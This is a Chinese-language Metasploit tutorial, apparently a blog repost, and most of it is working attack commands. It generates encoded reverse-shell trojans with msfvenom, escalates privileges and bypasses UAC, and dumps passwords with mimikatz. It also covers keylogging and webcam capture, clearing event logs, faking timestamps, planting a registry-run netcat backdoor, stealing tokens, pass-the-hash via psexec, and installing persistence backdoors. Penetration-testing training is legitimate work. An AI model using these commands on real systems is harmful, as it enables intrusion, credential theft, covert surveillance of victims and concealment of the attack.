正文共： 13532字 43图
预计阅读时间： 34分钟
1.1 kali环境下msf升级
apt update && apt install metasploit-framework启动命令
msfconsole1.2 目录结构
进入msf目录
cd /usr/share/metasploit-framework 1.2.1 modules 目录
用户用到的各种模块几乎都在这里，用户使用use这个msf这里时，就是用到了这个目录下的模块。这个目录下的文件在msfconsole启动时会被自动加载的，如果看到msfconsole启动时有出错信息但又能成功启动可以根据出错信息找解决方法，个人写的Module也可以放在这个目录下。
1.2.2 plugins
这里的模块用户需要load来加载，提供数据库连接插件和各种要用到的插件
1.2.3 data
这个目录放了meterpreter，passiveX，vnc,DLLS等工具和一些用户接口代码，msfweb和一些其他模块用到的数据文件
1.2.4 scripts
目录下的文件大都是meterpreter这个模块利用的脚本，比如用到migrate来转移到其他进程的指令的源代码就在此
1.2.5 tools
包含一些有用的脚本和零散的工具
1.3 核心模块介绍
常用核心模块位于modules 中。
1.3.1 auxiliary (辅助)
主要包含渗透测试中一些辅助性脚本，这些脚本功能有扫描，嗅探，破解，注入，漏洞挖掘等。
辅助模块可用于主机发现，这些模块位于modules/ auxiliary/ scanner/discovery/
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxitiary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcpweb漏洞及网站敏感目录扫描
auxiliary/scanner/httpbrute_dirs、dir_listing、dir_scanner等辅助模块来进行敏感目录扫描，只要字典足够强大，还是可以扫出来的，但是做网站目录扫描一般不用metasploit
除此之外scanner下还包含很多密码爆破模块
如：ssh爆破、telnet、mssql、smb等
探测服务详细信息
nmap A -p- -sS sC -T4 -Pn 192.168.19.55SSH服务扫描
Telnet服务扫描
其他服务扫描
服务 模块
oracle服务扫描 use auxiliary/scanner/oracle/tnslsnr_version
mssql扫描 use auxiliary/scanner/mssql/mssql_ping
mysql扫描 use auxiliary/scanner/mysql/mysql_version
ftp扫描 use auxiliary/scanner/ftp/ftp_version
http扫描 use auxiliary/scanner/http/http_version
特定漏洞主机扫描
可以针对特定的漏洞进行扫描，比如扫描内网中是否有存在ms17_010的漏洞等
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep1.3.2 encoders (编码)
编码工具，用于躲过入侵检测和过滤系统。
查看当前系统支持的编码器
show encodersencoder/cmd/brace Bash Brace扩展命令编码器
encoder/cmd/echo 回声命令编码器
encoder/cmd/generic_sh 通用外壳可变替换命令编码器
encoder/cmd/ifs bourne $ {ifs}替换命令编码器
encoder/cmd/perl perl命令编码器
encoder/cmd/powershell_base64 powershell base64命令编码器
encoder/cmd/printf_php_mq rintf（1）通过php magic_quotes实用命令编码器
encoder/generic/eicar EICAR 编码器
encoder/generic/none "none" 编码器
encoder/mipsbe/byte_xori Byte XORi 编码器
encoder/mipsbe/longxor XOR 编码器
encoder/mipsle/byte_xori Byte XORi 编码器
encoder/mipsle/longxor XOR 编码器
encoder/php/base64 PHP Base64 编码器
encoder/ppc/longxor PPC LongXOR编码器
encoder/ppc/longxor_tag PPC LongXOR 编码器
encoder/ruby/base64 Ruby Base64编码器
encoder/sparc/longxor_tag sparc dword xor编码器
encoder/x64/xor XOR 编码器
encoder/x64/xor_context 基于主机名的上下文钥匙有效载荷编码器
encoder/x64/xor_dynamic 动态密钥XOR编码器
encoder/x64/zutto_dekiru Zutto Dekiru
encoder/x86/add_sub 添加/子编码器
encoder/x86/alpha_mixed alpha2字母数字混合箱编码器
encoder/x86/alpha_upper alpha2字母数字大写编码器
encoder/x86/avoid_underscore_tolower 避免下划线/倾角
encoder/x86/avoid_utf8_tolower 避免使用UTF8/tolower
encoder/x86/bloxor Bloxor-基于变质块的XOR编码器
encoder/x86/bmp_polyglot BMP多语言
encoder/x86/call4_dword_xor Call+4 Dword XOR编码器
encoder/x86/context_cpuid 基于CPUID的上下文键合有效载荷编码器
encoder/x86/context_stat 基于Stat（2）的上下文键合有效载荷编码器
encoder/x86/context_time 时间（2）基于上下文键控有效载荷编码器
encoder/x86/countdown 单字节XOR倒计时编码器
encoder/x86/fnstenv_mov 可变长度FNSTENV/MOV DWORD XOR编码器
encoder/x86/jmp_call_additive 跳/调用XOR添加反馈编码器
encoder/x86/nonalpha 非-Alpha 编码器
encoder/x86/nonupper x86/非upper编码器
encoder/x86/opt_sub 子编码器（优化）
encoder/x86/service 注册服务
encoder/x86/shikata_ga_nai 多态性XOR添加反馈编码器
encoder/x86/single_static_bit 单个静态位
encoder/x86/unicode_mixed alpha2字母数字Unicode混合箱编码器
encoder/x86/unicode_upper alpha2字母数字Unicode大写编码器
encoder/x86/xor_dynamic 动态密钥XOR编码器使用格式：
在生成木马输入命令的时候加上
-e （编码器）
1.3.3 exploit (利用)
主要包括了 exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这个目录下，这里边包括的 exp 的路径的命名规则是：系统/服务/模块，在使用的exp 是可以根据这个命名方法来找(也可以用 search 这条指令来找)。比如： use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)
显示所有渗透攻击模块
show exploits
根据需求搜索所需模块
search -h
例如查找smb相关攻击模块
除此之外，exploit模块中还有一个很重的模块，handler 监听模块，用于执行木马或恶意代码程序后反弹shell。这里简单演示一下，使用msfvenom 生成木马，在服务上执行，kali监听模块反弹shell.
木马生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=本地端口号 –f exe -e 编码器 –o 文件名.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.132 LPORT=6666 -f exe -e encoder/x86/xor_dynamic -o msftest1.exe
在这里同时演示了生成木马使用编码器，用于躲过入侵检测和过滤系统。 这里只是为了演示，实际上用不用编码器都能被winodws自带的病毒防护查杀
然后在msf中使用 exploit监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666在服务器里面执行之前生成的木马
可以看到kali 已经监听到，并成功拿到了shell
1.3.4 nops
由于IDS/IPS会检查数据包中不规则的数据，所以在某些场合下(比如针对溢出攻击)，某些特殊的滑行字符串(NOPS x90x90…)会因为被拦截二导致攻击时效，所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到。如打开php的NOPS生成脚本，就会发现它返回了指定长度的空格。
作用：
（1）填充：（nop指令一个字节），使指令按字对齐，减少取指令时的内存访问次数
eg：偶数对齐，若一条指令占3字节，使用nop指令，cpu 就可从第四个字节处读取指令了
（2）延迟：nop指令会产生一定的延迟（效果取决于CPU性能），使用rep前缀，多占用几个时钟脉冲
（3）等待：使用 nop，等待缓冲区清空，总线恢复（i/o传输）
（4）清除：清除上一个算术逻辑指令设置的flag位
（5）破解：将程序验证部分用nop填充，致使验证失效
查看可用模块
1.3.5 payload (攻击载荷)
攻击载荷，是攻击者发送给系统执行的指令的，payload主要是在目标机执行的（ 攻击载荷是指用户希望对目标系统攻击成功之后去执行的代码），exploits是在本地执行作用于目标机。命名规则：系统/类型/名称，比如：use payload/windows/shell/bind_tcp
1.3.5.1 Payloads 分类
singles (独立载荷)
直接植入目标系统并执行相应的程序，如：shell_bind_tcp
stagers（传输器载荷）
用于目标机与攻击机之间建立稳定的网络连接，与stages（传输体载荷）配合攻击，该种载荷体积都非常小，如：bind型和reverse型。
bind型：需要攻击机主动连接目标端口。
reverse型：目标机反向连接攻击机，需要提前设定好连接攻击机的ip地址和端口号。（反弹shell，如1.3.3中的例子）
stages（传输体）
在stagers建立好稳定的连接后，攻击机将stages传输给目标机，由stagers进行相应处理，将控制权转交给stages。如得到目标机的shell或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
1.3.5.2 常见Payload
查看所有payload
show payloads常见Payload
windows/meterpreter/bind_tcp #正向连接 这是一个基于TCP的正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST
windows/meterpreter/reverse_tcp #反向连接，常用 这是一个基于TCP的反弹shell
windows/meterpreter/reverse_http #通过监听80端口反向连接 基于http方式的反向连接，在网速慢的情况下不稳定。
windows/meterpreter/reverse_https #通过监听443端口反向连接 基于https方式的反向连接，在网速慢的情况下不稳定。
1.3.6 post
该目录存放exploits执行成功后，向目标机发送的一些功能性指令，如：提权、获取hash等。
1.3.6.1 post提权
以1.3.3中木马为例子，如果使用其他非管理员用户执行木马，则会权限继承，获得非管理员权限，这时候就可以使用post模块进行提权。
background
use post/multi/recon/local_exploit_suggester （全自动：快速识别系统中可能被利用的漏洞）
set showdescription true
set session 1
run然后使用post检测出来的模块进行提权即可
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
set lhost 0.0.0.0
set lport 4444
run1.3.3.2 post信息收集
提权后可用对目标主机进行信息收集
获取目标机器的分区情况
run post/windows/gather/forensics/enum_drives判断目标机是否为虚拟机：
run post/windows/gather/checkvm查看目标机开启哪些服务
run post/windows/gather/enum_services查看目标主机安装了哪些应用、补丁
run post/windows/gather/enum_applications查看目标机最近的操作
run post/windows/gather/dumplinks1.3.7 evasion
evasion模块可以生成免杀的远程控制被控端。
使用show evasion命令可以列出Metasploit 中的所有evasion模块
生成木马
use evasion/windows/windows_defender_exe
set filename evasiontest.exe
set lhost 192.168.19.132
set lhost 7777
set payload windows/meterpreter/reverse_tcp
run生成的木马存放在 /root/.msf4/local/
其实这个免杀没什么用，windows自带防护还是绕不过，实战中要自己写免杀
启动命令
msfconsole2.1 Payload生成命令
Windows/Linux
Windows：
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名
Web
PHP:
msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war
Android
Android：
msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk
msfvenom命令参数
1 Options:
2 -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定
3 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
4 -n, --nopsled <length> 为payload预先指定一个NOP滑动长度
5 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
6 -e, --encoder [encoder] 指定需要使用的encoder（编码器）
7 -a, --arch <architecture> 指定payload的目标架构
8 --platform <platform> 指定payload的目标平台
9 -s, --space <length> 设定有效攻击荷载的最大长度
10 -b, --bad-chars <list> 设定规避字符集，比如: '\x00\xff'
11 -i, --iterations <count> 指定payload的编码次数
12 -c, --add-code <path> 指定一个附加的win32 shellcode文件
13 -x, --template <path> 指定一个自定义的可执行文件作为模板
14 -k, --keep 保护模板程序的动作，注入的payload作为一个新的进程运行
15 --payload-options 列举payload的标准选项
16 -o, --out <path> 保存payload
17 -v, --var-name <name> 指定一个自定义的变量，以确定输出格式
18 --shellest 最小化生成payload
19 -h, --help 查看帮助选项
20 --help-formats 查看msf支持的输出格式列表
2.2 常用系统命令
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块，输入run后按两下tab，列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shelluictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程clearev清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志2.3 文件类命令
基本文件系统命令
getwd 或者pwd # 查看当前工作目录
ls
cd
search -f *pass* # 搜索文件 -h查看帮助
cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件 没有的话，会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录
timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
2.4 网络类命令
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
autoroute添加路由
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描192.168.1.0/24这个网段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #检测192.168.1.144是否开启3389端口
Socks4a代理
autoroute添加完路由后，还可以利用msf自带的sock4a模块进行Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访
2.5 信息收集
信息收集的脚本位于：
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
信息收集的脚本较多，仅列几个常用的：
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控2.6 提权
getsystem提权
getsystemgetsystem工作原理
getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
Windows服务已启动，导致与命名管道建立连接。
该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。
如使用bypassuac.rb脚本：
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
内核漏洞提权
可先利用enum_patches模块 收集补丁信息，然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
2.7 mimikatz抓取密码
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords2.8 远程桌面&截屏
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
2.9 开启RDP & 添加用户
getgui命令
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661getgui 系统不推荐，推荐使用run post/windows/manage/enable_rdpgetgui添加用户时，有时虽然可以成功添加用户，但是没有权限通过远程桌面登陆
enable_rdp脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知：开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令
2.10 键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
2.11 sniffer 抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
2.12 注册表操作
reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
注册表设置nc后门
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值 nc -v 192.168.159.144 443 #攻击者连接nc后门
2.13 令牌操作
incognito假冒令牌
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token
steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
2.14 哈希利用
获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
PSExec 哈希传递
通过smart_hashdump获取用户哈希后，可以利用psexec模块进行哈希传递攻击
前提条件：①开启445端口 smb服务；②开启admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit
2.15 添加后门维权
metasploit自带的后门有两种方式启动的，一种是通过启动项启动(persistence)，一种是通过服务启动(metsvc)，另外还可以通过persistence_exe自定义后门文件
persistence启动项后门
在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip
连接后门
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件（metsrv.x86.dll、metsvc-server.exe、metsvc.exe），通过服务启动，服务名为meterpreter
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
连接后门
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
如有侵权请联系:admin#unsafe.sh